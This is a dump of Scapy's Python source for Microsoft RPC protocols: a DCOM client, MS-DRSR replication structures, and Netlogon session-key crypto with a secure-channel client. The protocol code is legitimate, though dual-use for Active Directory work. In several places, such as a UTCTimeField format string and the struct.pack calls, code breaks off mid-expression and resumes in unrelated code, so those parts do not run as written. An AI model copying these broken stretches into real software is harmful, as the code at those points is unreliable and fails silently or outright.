iids: List[ComInterface] ) -> ObjectInstance: """ Calls IRemoteSCMActivator::RemoteCreateInstance and returns a OXID_Entry that points to an instance of the provided class. :param clsid: the class ID to initialize :param iids: the IDs of the interfaces to request """ return self._RemoteCreateInstanceOrGetClassObject( RemoteCreateInstance_Request, RemoteCreateInstance_Response, clsid, iids, ) def RemoteGetClassObject( self, clsid: uuid.UUID, iids: List[ComInterface] ) -> ObjectInstance: """ Calls IRemoteSCMActivator::RemoteGetClassObject and returns a OXID_Entry that points to the factory. :param clsid: the class ID to initialize :param iids: the IDs of the interfaces to request """ return self._RemoteCreateInstanceOrGetClassObject( RemoteGetClassObject_Request, RemoteGetClassObject_Response, clsid, iids, ) def sr1_orpc_req( self, pkt: NDRPacket, ipid: uuid.UUID, ssp=None, auth_level=None, impersonation_type=None, timeout=5, **kwargs, ): """ Make an ORPC call. :param ipid: the reference to a specific interface on an object. :param pkt: the request to make. :param ssp: (optional) non default SSP to use to connect to the object exporter :param auth_level: (optional) non default authn level to use :param impersonation_type: (optional) non default impersonation type to use :param timeout: (optional) timeout for the connection """ # [MS-DCOM] sect 3.2.4.2 # 1. look up the object exporter information in the client tables try: # "The client MUST use the IPID specified by the client application to # look up the IPID entry in the IPID table." ipid_entry = self.IPID_table[ipid] except KeyError: raise ValueError("The IPID that was passed is unknown.") # "The client MUST then look up the OXID entry" oxid_entry = self.OXID_table[ipid_entry.oxid] oid_entry = self.OID_table[ipid_entry.oid] resolver_entry = self.Resolver_table[oid_entry.hash] # Get opnum try: opnum = pkt.overload_fields[DceRpc5Request]["opnum"] except KeyError: raise ValueError("This packet is not part of a registered COM interface !") # Build ORPC request if resolver_entry.client is None: # We don't have a client ready, make one. resolver_entry.client = DCERPC_Client( DCERPC_Transport.NCACN_IP_TCP, ssp=ssp or self.ssp, auth_level=auth_level or oxid_entry.authnHint, impersonation_type=impersonation_type or self.impersonation_type, verb=self.verb, ) resolver_entry.client.connect( host=oxid_entry.bindingInfo[0], port=oxid_entry.bindingInfo[1], timeout=timeout, ) # Bind the COM interface resolver_entry.client.bind_or_alter( ipid_entry.iface, target_name=oxid_entry.target_name, ) # We need to set the NDR very late, after the bind pkt.ndr64 = resolver_entry.client.ndr64 # "The ORPCTHIS and ORPCTHAT structures MUST be marshaled using # the NDR [2.0] Transfer Syntax" pkt = ( ORPCTHIS( version=oxid_entry.version, cid=self.cid, ndr64=False, ) / pkt ) # Send/Receive ! resp = resolver_entry.client.sr1_req( pkt, opnum=opnum, objectuuid=ipid, **kwargs, ) return resp[ORPCTHAT].payload def AcquireInterface( self, ipid: uuid.UUID, iids: List[ComInterface], cPublicRefs: int, ): """ [MS-DCOM] 3.2.4.4.3 - Acquiring Additional Interfaces on the Object """ # 1. Look up the OID entry ipid_entry = self.IPID_table[ipid] oxid_entry = self.OXID_table[ipid_entry.oxid] # 2. Perform call resp = self.sr1_orpc_req( ipid=oxid_entry.ipid_IRemUnknown, pkt=RemQueryInterface_Request( ripid=GUID(_uid_to_bytes(ipid)), cRefs=cPublicRefs, cIids=len(iids), iids=[GUID(_uid_to_bytes(x.uuid)) for x in iids], ), ) # 3. Process answer if not resp or resp.status != 0: raise ValueError # "When the call returns successfully..." for i, remqir in enumerate(resp.valueof("ppQIResults")): self._UnmarshallObjref( OBJREF(iid=iids[i].uuid) / OBJREF_STANDARD(std=STDOBJREF(bytes(remqir.std))), iid=iids[i], ) def RemRelease(self, ipid: uuid.UUID): """ 3.2.4.4.2 Releasing Reference Counts on an Interface """ # 1. Look up the OID entry ipid_entry = self.IPID_table[ipid] oxid_entry = self.OXID_table[ipid_entry.oxid] oid_entry = self.OID_table[ipid_entry.oid] # 2. Perform call resp = self.sr1_orpc_req( ipid=oxid_entry.ipid_IRemUnknown, pkt=RemRelease_Request( InterfaceRefs=[ REMINTERFACEREF( ipid=GUID(_uid_to_bytes(ipid)), cPublicRefs=ipid_entry.cPublicRefs, cPrivateRefs=ipid_entry.cPrivateRefs, ) ], ), ) # 3. Process answer if resp and resp.status == 0: # "When the call returns successfully..." # "It MUST remove the IPID entry from the IPID table." del self.IPID_table[ipid] # "It MUST remove the IPID from the IPID list in the OID entry." oid_entry.ipids.remove(ipid) # "If the IPID list of the OID entry is empty, it MUST remove the # OID entry from the OID table." if not oid_entry.ipids: del self.OID_table[ipid_entry.oid] def ServerAlive2(host, timeout=5) -> Tuple[List[STRINGBINDING], List[SECURITYBINDING]]: """ Call IObjectExporter::ServerAlive2 """ client = DCERPC_Client( transport=DCERPC_Transport.NCACN_IP_TCP, verb=False, ndr64=False, # "The client MUST NOT specify security on the call" auth_level=DCE_C_AUTHN_LEVEL.NONE, ) client.connect(host, port=135, timeout=timeout) # Bind IObjectExporter if not already client.bind_or_alter(find_dcerpc_interface("IObjectExporter")) # Send ServerAlive2 request resp = client.sr1_req(ServerAlive2_Request(ndr64=False), timeout=timeout) if not resp or resp.status != 0: raise ValueError("ServerAlive2 failed !") # Parse bindings and security options return _ParseStringArray(resp.ppdsaOrBindings.value) ================================================ FILE: scapy/layers/msrpce/msdrsr.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ [MS-DRSR] Directory Replication Service (DRS) Remote Protocol """ import uuid from dataclasses import dataclass from scapy.packet import Packet from scapy.fields import LEIntField, FlagsField, UUIDField, UTCTimeField from scapy.volatile import RandShort from scapy.asn1.asn1 import ASN1_OID from scapy.layers.msrpce.raw.ms_drsr import UUID from scapy.layers.msrpce.raw.ms_drsr import * # noqa: F403,F401 # [MS-DRSR] sect 5.16.4 ATTRTYP-to-OID Conversion @dataclass class Prefix: prefixString: str prefixIndex: int def MakeAttid(t, o): """ MakeAttid per [MS-DRSR] sect 5.16.4 """ ToBinary = lambda x: bytes(ASN1_OID(x)) lastValue = int(o.split(".")[-1]) # "convert the dotted form of OID into a BER encoded binary" binaryOID = ToBinary(o) # "get the prefix of the OID" if lastValue < 128: oidPrefix = binaryOID[:-1] else: oidPrefix = binaryOID[:-2] lowerWord = lastValue % 16384 if lastValue >= 16384: lowerWord += 32768 try: upperWord = next(x.prefixIndex for x in t if x.prefixString == oidPrefix) except StopIteration: # AddPrefixTableEntry upperWord = int(RandShort()) t.append( Prefix( prefixString=oidPrefix, prefixIndex=upperWord, ) ) return upperWord * 65536 + lowerWord # [MS-DRSR] sect 5.39 DRS_EXTENSIONS_INT class DRS_EXTENSIONS_INT(Packet): fields_desc = [ FlagsField( "dwFlags", 0, -32, { 0x00000001: "BASE", 0x00000002: "ASYNCREPL", 0x00000004: "REMOVEAPI", 0x00000008: "MOVEREQ_V2", 0x00000010: "GETCHG_DEFLATE", 0x00000020: "DCINFO_V1", 0x00000040: "RESTORE_USN_OPTIMIZATION", 0x00000080: "ADDENTRY", 0x00000100: "KCC_EXECUTE", 0x00000200: "ADDENTRY_V2", 0x00000400: "LINKED_VALUE_REPLICATION", 0x00000800: "DCINFO_V2", 0x00001000: "INSTANCE_TYPE_NOT_REQ_ON_MOD", 0x00002000: "CRYPTO_BIND", 0x00004000: "GET_REPL_INFO", 0x00008000: "STRONG_ENCRYPTION", 0x00010000: "DCINFO_VFFFFFFFF", 0x00020000: "TRANSITIVE_MEMBERSHIP", 0x00040000: "ADD_SID_HISTORY", 0x00080000: "POST_BETA3", 0x00100000: "GETCHGREQ_V5", 0x00200000: "GETMEMBERSHIPS2", 0x00400000: "GETCHGREQ_V6", 0x00800000: "NONDOMAIN_NCS", 0x01000000: "GETCHGREQ_V8", 0x02000000: "GETCHGREPLY_V5", 0x04000000: "GETCHGREPLY_V6", 0x08000000: "WHISTLER_BETA3", 0x10000000: "W2K3_DEFLATE", 0x20000000: "GETCHGREQ_V10", 0x40000000: "R2", 0x80000000: "R3", }, ), UUIDField("SiteObjGuid", None, uuid_fmt=UUIDField.FORMAT_LE), LEIntField("Pid", 0), UTCTimeField("dwReplEpoch", None, fmt=" None: """ Print stacktrace """ # Get a list of ErrorInfo cur = self.extended_error errors = [cur] while cur and cur.Next: cur = cur.Next.value errors.append(cur) # Concatenate the ErrorInfos timefld = UTCTimeField( "", None, fmt=" 47.0 from cryptography.hazmat.decrepit.ciphers.modes import CFB8 except ImportError: from cryptography.hazmat.primitives.ciphers.modes import CFB8 else: hashes = hmac = Cipher = algorithms = modes = DES = CFB8 = None # Typing imports from typing import ( Optional, ) # --- RFC # [MS-NRPC] sect 3.1.4.2 _negotiateFlags = { # Not used. MUST be ignored on receipt. 0x00000001: "A", # B: BDCs persistently try to update their database to the PDC's # version after they get a notification indicating that their # database is out-of-date. 0x00000002: "BDCContinuousUpdate", # C: Supports RC4 encryption. 0x00000004: "RC4", # Not used. MUST be ignored on receipt. 0x00000008: "D", # E: Supports BDCs handling CHANGELOGs. 0x00000010: "BDCChangelog", # F: Supports restarting of full synchronization between DCs. 0x00000020: "RestartingDCSync", # G: Does not require ValidationLevel 2 fornongeneric passthrough. 0x00000040: "NoValidationLevel2", # H: Supports the NetrDatabaseRedo (Opnum 17) functionality 0x00000080: "DatabaseRedo", # I: Supports refusal of password changes. 0x00000100: "RefusalPasswordChange", # J: Supports the NetrLogonSendToSam (Opnum 32) functionality. 0x00000200: "SendToSam", # K: Supports generic pass-through authentication. 0x00000400: "Generic-passthrough", # L: Supports concurrent RPC calls. 0x00000800: "ConcurrentRPC", # M: Supports avoiding of user account database replication. 0x00001000: "AvoidRepliAccountDB", # N: Supports avoiding of Security Authority database replication. 0x00002000: "AvoidRepliAuthorityDB", # O: Supports strong keys. 0x00004000: "StrongKeys", # P: Supports transitive trusts. 0x00008000: "TransitiveTrust", # Not used. MUST be ignored on receipt. 0x00010000: "Q", # R: Supports the NetrServerPasswordSet2 functionality. 0x00020000: "ServerPasswordSet2", # S: Supports the NetrLogonGetDomainInfo functionality. 0x00040000: "GetDomainInfo", # T: Supports cross-forest trusts. 0x00080000: "CrossForestTrust", # U: The server ignores the NT4Emulator ADM element. 0x00100000: "NoNT4Emul", # V: Supports RODC pass-through to different domains. 0x00200000: "RODC-passthrough", # W: Supports Advanced Encryption Standard (AES) encryption and SHA2 hashing. 0x01000000: "AES", # Not used. MUST be ignored on receipt. 0x20000000: "X", # Y: Supports Secure RPC. 0x40000000: "SecureRPC", # Supports Kerberos as the security support provider for secure channel setup. 0x80000000: "Kerberos", } _negotiateFlags = FlagsField("", 0, -32, _negotiateFlags).names # -- CRYPTO # [MS-NRPC] sect 3.1.4.3.1 @crypto_validator def ComputeSessionKeyAES(HashNt, ClientChallenge, ServerChallenge): M4SS = HashNt h = hmac.HMAC(M4SS, hashes.SHA256()) h.update(ClientChallenge) h.update(ServerChallenge) return h.finalize()[:16] # [MS-NRPC] sect 3.1.4.3.2 @crypto_validator def ComputeSessionKeyStrongKey(HashNt, ClientChallenge, ServerChallenge): M4SS = HashNt digest = hashes.Hash(hashes.MD5()) digest.update(b"\x00\x00\x00\x00") digest.update(ClientChallenge) digest.update(ServerChallenge) h = hmac.HMAC(M4SS, hashes.MD5()) h.update(digest.finalize()) return h.finalize() # [MS-NRPC] sect 3.1.4.4.1 @crypto_validator def ComputeNetlogonCredentialAES(Input, Sk): cipher = Cipher(algorithms.AES(Sk), mode=CFB8(b"\x00" * 16)) encryptor = cipher.encryptor() return encryptor.update(Input) # [MS-NRPC] sect 3.1.4.4.2 def InitLMKey(KeyIn): KeyOut = bytearray(b"\x00" * 8) KeyOut[0] = KeyIn[0] >> 0x01 KeyOut[1] = ((KeyIn[0] & 0x01) << 6) | (KeyIn[1] >> 2) KeyOut[2] = ((KeyIn[1] & 0x03) << 5) | (KeyIn[2] >> 3) KeyOut[3] = ((KeyIn[2] & 0x07) << 4) | (KeyIn[3] >> 4) KeyOut[4] = ((KeyIn[3] & 0x0F) << 3) | (KeyIn[4] >> 5) KeyOut[5] = ((KeyIn[4] & 0x1F) << 2) | (KeyIn[5] >> 6) KeyOut[6] = ((KeyIn[5] & 0x3F) << 1) | (KeyIn[6] >> 7) KeyOut[7] = KeyIn[6] & 0x7F for i in range(8): KeyOut[i] = (KeyOut[i] << 1) & 0xFE return KeyOut @crypto_validator def ComputeNetlogonCredentialDES(Input, Sk): k3 = InitLMKey(Sk[0:7]) k4 = InitLMKey(Sk[7:14]) output1 = Cipher(DES(k3), modes.ECB()).encryptor().update(Input) return Cipher(DES(k4), modes.ECB()).encryptor().update(output1) # [MS-NRPC] sect 3.1.4.5 def _credentialAddition(cred, i): return ( struct.pack( "L", ClientSequenceNumber & 0xFFFFFFFF) high = struct.pack( ">L", ((ClientSequenceNumber >> 32) & 0xFFFFFFFF) | (0x80000000 if client else 0), ) return low + high @crypto_validator def ComputeNetlogonChecksumAES(nl_auth_sig, message, SessionKey, Confounder=None): h = hmac.HMAC(SessionKey, hashes.SHA256()) h.update(nl_auth_sig[:8]) if Confounder: h.update(Confounder) h.update(message) return h.finalize() @crypto_validator def ComputeNetlogonChecksumMD5(nl_auth_sig, message, SessionKey, Confounder=None): digest = hashes.Hash(hashes.MD5()) digest.update(b"\x00\x00\x00\x00") digest.update(nl_auth_sig[:8]) if Confounder: digest.update(Confounder) digest.update(message) h = hmac.HMAC(SessionKey, hashes.MD5()) h.update(digest.finalize()) return h.finalize() @crypto_validator def ComputeNetlogonSealingKeyAES(SessionKey): return bytes(bytearray((x ^ 0xF0) for x in bytearray(SessionKey))) @crypto_validator def ComputeNetlogonSealingKeyRC4(SessionKey, CopySeqNumber): XorKey = bytes(bytearray((x ^ 0xF0) for x in bytearray(SessionKey))) h = hmac.HMAC(XorKey, hashes.MD5()) h.update(b"\x00\x00\x00\x00") h = hmac.HMAC(h.finalize(), hashes.MD5()) h.update(CopySeqNumber) return h.finalize() @crypto_validator def ComputeNetlogonSequenceNumberKeyMD5(SessionKey, Checksum): h = hmac.HMAC(SessionKey, hashes.MD5()) h.update(b"\x00\x00\x00\x00") h = hmac.HMAC(h.finalize(), hashes.MD5()) h.update(Checksum) return h.finalize() # --- SSP class NetlogonSSP(SSP): auth_type = 0x44 # Netlogon class STATE(SSP.STATE): INIT = 1 CLI_SENT_NL = 2 SRV_SENT_NL = 3 class CONTEXT(SSP.CONTEXT): __slots__ = [ "ClientSequenceNumber", "IsClient", "AES", ] def __init__(self, IsClient, req_flags=None, AES=True): self.state = NetlogonSSP.STATE.INIT self.IsClient = IsClient self.ClientSequenceNumber = 0 self.AES = AES super(NetlogonSSP.CONTEXT, self).__init__(req_flags=req_flags) def __init__(self, SessionKey, computername, domainname, AES=True, **kwargs): self.SessionKey = SessionKey self.AES = AES self.computername = computername self.domainname = domainname super(NetlogonSSP, self).__init__(**kwargs) def GSS_Inquire_names_for_mech(self): raise NotImplementedError("Netlogon cannot be used with SPNEGO !") def _secure(self, Context, msgs, Seal): """ Internal function used by GSS_WrapEx and GSS_GetMICEx [MS-NRPC] 3.3.4.2.1 """ # Concatenate the ToSign ToSign = b"".join(x.data for x in msgs if x.sign) Confounder = None if Seal: Confounder = os.urandom(8) if Context.AES: # 1. If AES is negotiated signature = NL_AUTH_SIGNATURE( SignatureAlgorithm=0x0013, SealAlgorithm=0x001A if Seal else 0xFFFF, ) else: # 2. If AES is not negotiated signature = NL_AUTH_SIGNATURE( SignatureAlgorithm=0x0077, SealAlgorithm=0x007A if Seal else 0xFFFF, ) # 3. Pad filled with 0xff (OK) # 4. Flags with 0x00 (OK) # 5. SequenceNumber SequenceNumber = ComputeCopySeqNumber( Context.ClientSequenceNumber, Context.IsClient ) # 6. The ClientSequenceNumber MUST be incremented by 1 Context.ClientSequenceNumber += 1 # 7. Signature if Context.AES: signature.Checksum = ComputeNetlogonChecksumAES( bytes(signature), ToSign, self.SessionKey, Confounder )[:8] else: signature.Checksum = ComputeNetlogonChecksumMD5( bytes(signature), ToSign, self.SessionKey, Confounder )[:8] # 8. If the Confidentiality option is requested, the Confounder field and # the data MUST be encrypted if Seal: if Context.AES: EncryptionKey = ComputeNetlogonSealingKeyAES(self.SessionKey) else: EncryptionKey = ComputeNetlogonSealingKeyRC4( self.SessionKey, SequenceNumber ) # Encrypt Confounder and data if Context.AES: IV = SequenceNumber * 2 encryptor = Cipher( algorithms.AES(EncryptionKey), mode=CFB8(IV) ).encryptor() # Confounder signature.Confounder = encryptor.update(Confounder) # data for msg in msgs: if msg.conf_req_flag: msg.data = encryptor.update(msg.data) else: handle = RC4Init(EncryptionKey) # Confounder signature.Confounder = RC4(handle, Confounder) # DOC IS WRONG ! # > The server MUST initialize RC4 only once, before encrypting # > the Confounder field. # But, this fails ! as Samba put it: # > For RC4, Windows resets the cipherstate after encrypting # > the confounder, thus defeating the purpose of the confounder handle = RC4Init(EncryptionKey) # data for msg in msgs: if msg.conf_req_flag: msg.data = RC4(handle, msg.data) # 9. The SequenceNumber MUST be encrypted. if Context.AES: EncryptionKey = self.SessionKey IV = signature.Checksum * 2 cipher = Cipher(algorithms.AES(EncryptionKey), mode=CFB8(IV)) encryptor = cipher.encryptor() signature.SequenceNumber = encryptor.update(SequenceNumber) else: EncryptionKey = ComputeNetlogonSequenceNumberKeyMD5( self.SessionKey, signature.Checksum ) signature.SequenceNumber = RC4K(EncryptionKey, SequenceNumber) return ( msgs, signature, ) def _unsecure(self, Context, msgs, signature, Seal): """ Internal function used by GSS_UnwrapEx and GSS_VerifyMICEx [MS-NRPC] 3.3.4.2.2 """ assert isinstance(signature, NL_AUTH_SIGNATURE) # 1. The SignatureAlgorithm bytes MUST be verified if (Context.AES and signature.SignatureAlgorithm != 0x0013) or ( not Context.AES and signature.SignatureAlgorithm != 0x0077 ): raise ValueError("Invalid SignatureAlgorithm !") # 5. The SequenceNumber MUST be decrypted. if Context.AES: EncryptionKey = self.SessionKey IV = signature.Checksum * 2 cipher = Cipher(algorithms.AES(EncryptionKey), mode=CFB8(IV)) decryptor = cipher.decryptor() SequenceNumber = decryptor.update(signature.SequenceNumber) else: EncryptionKey = ComputeNetlogonSequenceNumberKeyMD5( self.SessionKey, signature.Checksum ) SequenceNumber = RC4K(EncryptionKey, signature.SequenceNumber) # 6. A local copy of SequenceNumber MUST be computed CopySeqNumber = ComputeCopySeqNumber( Context.ClientSequenceNumber, not Context.IsClient ) # 7. The SequenceNumber MUST be compared to CopySeqNumber if SequenceNumber != CopySeqNumber: raise ValueError("ERROR: SequenceNumber don't match") # 8. ClientSequenceNumber MUST be incremented. Context.ClientSequenceNumber += 1 # 9. If the Confidentiality option is requested, the Confounder and the # data MUST be decrypted. Confounder = None if Seal: if Context.AES: EncryptionKey = ComputeNetlogonSealingKeyAES(self.SessionKey) else: EncryptionKey = ComputeNetlogonSealingKeyRC4( self.SessionKey, SequenceNumber ) # Decrypt Confounder and data if Context.AES: IV = SequenceNumber * 2 decryptor = Cipher( algorithms.AES(EncryptionKey), mode=CFB8(IV) ).decryptor() # Confounder Confounder = decryptor.update(signature.Confounder) # data for msg in msgs: if msg.conf_req_flag: msg.data = decryptor.update(msg.data) else: # Confounder EncryptionKey = ComputeNetlogonSealingKeyRC4( self.SessionKey, SequenceNumber ) Confounder = RC4K(EncryptionKey, signature.Confounder) # data handle = RC4Init(EncryptionKey) for msg in msgs: if msg.conf_req_flag: msg.data = RC4(handle, msg.data) # Concatenate the ToSign ToSign = b"".join(x.data for x in msgs if x.sign) # 10/11. Signature if Context.AES: Checksum = ComputeNetlogonChecksumAES( bytes(signature), ToSign, self.SessionKey, Confounder )[:8] else: Checksum = ComputeNetlogonChecksumMD5( bytes(signature), ToSign, self.SessionKey, Confounder )[:8] if signature.Checksum != Checksum: raise ValueError("ERROR: Checksum don't match") return msgs def GSS_WrapEx(self, Context, msgs, qop_req=0): return self._secure(Context, msgs, True) def GSS_GetMICEx(self, Context, msgs, qop_req=0): return self._secure(Context, msgs, False)[1] def GSS_UnwrapEx(self, Context, msgs, signature): return self._unsecure(Context, msgs, signature, True) def GSS_VerifyMICEx(self, Context, msgs, signature): self._unsecure(Context, msgs, signature, False) def GSS_Init_sec_context( self, Context: CONTEXT, input_token=None, target_name: Optional[str] = None, req_flags: Optional[GSS_C_FLAGS] = None, chan_bindings: bytes = GSS_C_NO_CHANNEL_BINDINGS, ): if Context is None: Context = self.CONTEXT(True, req_flags=req_flags, AES=self.AES) if Context.state == self.STATE.INIT: Context.state = self.STATE.CLI_SENT_NL return ( Context, NL_AUTH_MESSAGE( MessageType=0, Flags=3, NetbiosDomainName=self.domainname, NetbiosComputerName=self.computername, ), GSS_S_CONTINUE_NEEDED, ) else: return Context, None, GSS_S_COMPLETE def GSS_Accept_sec_context( self, Context: CONTEXT, input_token=None, req_flags: Optional[GSS_S_FLAGS] = GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS, chan_bindings: bytes = GSS_C_NO_CHANNEL_BINDINGS, ): if Context is None: Context = self.CONTEXT(False, req_flags=req_flags, AES=self.AES) if Context.state == self.STATE.INIT: Context.state = self.STATE.SRV_SENT_NL return ( Context, NL_AUTH_MESSAGE( MessageType=1, Flags=0, ), GSS_S_COMPLETE, ) else: # Invalid state return Context, None, GSS_S_FAILURE def MaximumSignatureLength(self, Context: CONTEXT): """ Returns the Maximum Signature length. This will be used in auth_len in DceRpc5, and is necessary for PFC_SUPPORT_HEADER_SIGN to work properly. """ # len(NL_AUTH_SIGNATURE()) if Context.flags & GSS_C_FLAGS.GSS_C_CONF_FLAG: if Context.AES: return 56 else: return 32 else: if Context.AES: return 48 else: return 24 # --- Utils class NETLOGON_SECURE_CHANNEL_METHOD(enum.Enum): NetrServerAuthenticate3 = 1 NetrServerAuthenticateKerberos = 2 class NetlogonClient(DCERPC_Client): """ A subclass of DCERPC_Client that supports establishing a Netlogon secure channel using the Netlogon SSP, and handling Netlogon authenticators. This class therefore only supports the 'logon' rpc. :param auth_level: one of DCE_C_AUTHN_LEVEL :param verb: verbosity control. :param supportAES: advertise AES support in the Netlogon session. Example:: >>> cli = NetlogonClient() >>> cli.connect_and_bind("192.168.0.100") >>> cli.establish_secure_channel( ... UPN="WIN10@DOMAIN", ... HASHNT=bytes.fromhex("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"), ... ) """ def __init__( self, # Default to PRIVACY: see KB5021130 auth_level=DCE_C_AUTHN_LEVEL.PKT_PRIVACY, verb=True, supportAES=True, **kwargs, ): self.interface = find_dcerpc_interface("logon") self.SessionKey = None self.ClientStoredCredential = None self.supportAES = supportAES super(NetlogonClient, self).__init__( DCERPC_Transport.NCACN_IP_TCP, auth_level=auth_level, verb=verb, **kwargs, ) def connect(self, host, **kwargs): """ This calls DCERPC_Client's connect to bind the 'logon' interface. """ super(NetlogonClient, self).connect( host=host, interface=self.interface, **kwargs, ) def create_authenticator(self): """ Create a NETLOGON_AUTHENTICATOR """ if isinstance(self.ssp, NetlogonSSP): # [MS-NRPC] sect 3.1.4.5 ts = int(time.time()) self.ClientStoredCredential = _credentialAddition( self.ClientStoredCredential, ts ) return PNETLOGON_AUTHENTICATOR( Credential=PNETLOGON_CREDENTIAL( data=( ComputeNetlogonCredentialAES( self.ClientStoredCredential, self.SessionKey, ) if self.supportAES else ComputeNetlogonCredentialDES( self.ClientStoredCredential, self.SessionKey, ) ), ), Timestamp=ts, ) elif isinstance(self.ssp, KerberosSSP): # Kerberos. This is off spec :( return PNETLOGON_AUTHENTICATOR() else: raise ValueError("Invalid ssp case !") def validate_authenticator(self, auth): """ Validate a NETLOGON_AUTHENTICATOR :param auth: the NETLOGON_AUTHENTICATOR object """ if isinstance(self.ssp, NetlogonSSP): # [MS-NRPC] sect 3.1.4.5 self.ClientStoredCredential = _credentialAddition( self.ClientStoredCredential, 1 ) if self.supportAES: tempcred = ComputeNetlogonCredentialAES( self.ClientStoredCredential, self.SessionKey ) else: tempcred = ComputeNetlogonCredentialDES( self.ClientStoredCredential, self.SessionKey ) if tempcred != auth.Credential.data: raise ValueError("Server netlogon authenticator is wrong !") elif isinstance(self.ssp, KerberosSSP): # Kerberos. This is off spec :( if bytes(auth) != b"\x00" * 12: raise ValueError("Server netlogon authenticator is wrong !") else: raise ValueError("Invalid ssp case !") def establish_secure_channel( self, UPN: str, DC_FQDN: str, HASHNT: Optional[bytes] = None, PASSWORD: Optional[str] = None, KEY=None, ssp: Optional[KerberosSSP] = None, mode=NETLOGON_SECURE_CHANNEL_METHOD.NetrServerAuthenticate3, secureChannelType=NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, ): """ Function to establish the Netlogon Secure Channel. This uses NetrServerAuthenticate3 or NetrServerAuthenticateKerberos to negotiate the session key, then creates a NetlogonSSP that uses that session key and alters the DCE/RPC session to use it. :param mode: one of NETLOGON_SECURE_CHANNEL_METHOD. This defines which method to use to establish the secure channel. :param UPN: the UPN of the computer account name that is used to establish the secure channel. (e.g. WIN10$@domain.local) :param DC_FQDN: the FQDN name of the DC. The function then requires one of the following: :param HASHNT: the HashNT of the computer account (in Authenticate3 mode). :param KEY: a Kerberos key to use (in Kerberos mode) :param PASSWORD: the password of the computer account (any mode). :param ssp: a KerberosSSP to use (in Kerberos mode) """ computername, domainname = _parse_upn(UPN) # We need to normalize here, since the functions require both the accountname # and the normal (no dollar) computer name. if computername.endswith("$"): computername = computername[:-1] if mode == NETLOGON_SECURE_CHANNEL_METHOD.NetrServerAuthenticate3: if ssp or KEY: raise ValueError("Cannot use 'ssp' on 'KEY' in Authenticate3 mode !") if not HASHNT: if PASSWORD: HASHNT = MD4le(PASSWORD) else: raise ValueError("Missing either 'PASSWORD' or 'HASHNT' !") if "." in domainname: raise ValueError( "The UPN in Authenticate3 must have a NETBIOS domain name !" ) else: if HASHNT: raise ValueError("Cannot use 'HASHNT' in Kerberos mode !") # Calc NegotiateFlags NegotiateFlags = FlagValue( 0x602FFFFF, # sensible default (Windows) names=_negotiateFlags, ) if self.supportAES: NegotiateFlags += "AES" # We are either using NetrServerAuthenticate3 or NetrServerAuthenticateKerberos if mode == NETLOGON_SECURE_CHANNEL_METHOD.NetrServerAuthenticate3: # We use the legacy NetrServerAuthenticate3 function (NetlogonSSP) # Make sure the interface is bound if not self.bind_or_alter(self.interface): raise ValueError("Bind failed !") # Flow documented in 3.1.4 Session-Key Negotiation # and sect 3.4.5.2 for specific calls clientChall = os.urandom(8) # Perform NetrServerReqChallenge request netr_server_req_chall_response = self.sr1_req( NetrServerReqChallenge_Request( PrimaryName=None, ComputerName=computername, ClientChallenge=PNETLOGON_CREDENTIAL( data=clientChall, ), ndr64=self.ndr64, ndrendian=self.ndrendian, ) ) if ( NetrServerReqChallenge_Response not in netr_server_req_chall_response or netr_server_req_chall_response.status != 0 ): print( conf.color_theme.fail( "! %s" % STATUS_ERREF.get( netr_server_req_chall_response.status, "Failure" ) ) ) netr_server_req_chall_response.show() raise ValueError("NetrServerReqChallenge failed !") # Build the session key serverChall = netr_server_req_chall_response.ServerChallenge.data if self.supportAES: SessionKey = ComputeSessionKeyAES(HASHNT, clientChall, serverChall) self.ClientStoredCredential = ComputeNetlogonCredentialAES( clientChall, SessionKey ) else: SessionKey = ComputeSessionKeyStrongKey( HASHNT, clientChall, serverChall ) self.ClientStoredCredential = ComputeNetlogonCredentialDES( clientChall, SessionKey ) # Perform Authenticate3 request netr_server_auth3_response = self.sr1_req( NetrServerAuthenticate3_Request( PrimaryName="\\\\" + DC_FQDN, AccountName=computername + "$", SecureChannelType=secureChannelType, ComputerName=computername, ClientCredential=PNETLOGON_CREDENTIAL( data=self.ClientStoredCredential, ), NegotiateFlags=int(NegotiateFlags), ndr64=self.ndr64, ndrendian=self.ndrendian, ) ) if netr_server_auth3_response.status != 0: # An error occurred. NegotiatedFlags = None if NetrServerAuthenticate3_Response in netr_server_auth3_response: NegotiatedFlags = FlagValue( netr_server_auth3_response.NegotiateFlags, names=_negotiateFlags, ) if NegotiateFlags != NegotiatedFlags: print( conf.color_theme.fail( "! Unsupported server flags: %s" % (NegotiatedFlags ^ NegotiateFlags) ) ) raise ValueError("NetrServerAuthenticate3 failed !") # Check Server Credential if self.supportAES: if ( netr_server_auth3_response.ServerCredential.data != ComputeNetlogonCredentialAES(serverChall, SessionKey) ): print(conf.color_theme.fail("! Invalid ServerCredential.")) raise ValueError else: if ( netr_server_auth3_response.ServerCredential.data != ComputeNetlogonCredentialDES(serverChall, SessionKey) ): print(conf.color_theme.fail("! Invalid ServerCredential.")) raise ValueError # SessionKey negotiated ! self.SessionKey = SessionKey # Create the NetlogonSSP and assign it to the local client self.ssp = self.sock.session.ssp = NetlogonSSP( SessionKey=self.SessionKey, AES=self.supportAES, domainname=domainname, computername=computername, ) # Finally alter context (to use the SSP) if not self.alter_context(self.interface): raise ValueError("Bind failed !") elif mode == NETLOGON_SECURE_CHANNEL_METHOD.NetrServerAuthenticateKerberos: # We use the brand new NetrServerAuthenticateKerberos function NegotiateFlags += "Kerberos" # Set KerberosSSP and alter context if ssp: self.ssp = self.sock.session.ssp = ssp else: self.ssp = self.sock.session.ssp = KerberosSSP( UPN=UPN, PASSWORD=PASSWORD, KEY=KEY, ) # [MS-NRPC] note <185> "Windows uses netlogon/" target_name = "netlogon/" + DC_FQDN if not self.bind_or_alter(self.interface, target_name=target_name): raise ValueError("Bind failed !") # Send AuthenticateKerberos request netr_server_authkerb_response = self.sr1_req( NetrServerAuthenticateKerberos_Request( PrimaryName="\\\\" + DC_FQDN, AccountName=computername + "$", AccountType=secureChannelType, ComputerName=computername, NegotiateFlags=int(NegotiateFlags), ndr64=self.ndr64, ndrendian=self.ndrendian, ) ) if ( NetrServerAuthenticateKerberos_Response not in netr_server_authkerb_response or netr_server_authkerb_response.status != 0 ): # An error occurred netr_server_authkerb_response.show() raise ValueError("NetrServerAuthenticateKerberos failed !") ================================================ FILE: scapy/layers/msrpce/mspac.py ================================================ # SPDX-License-Identifier: 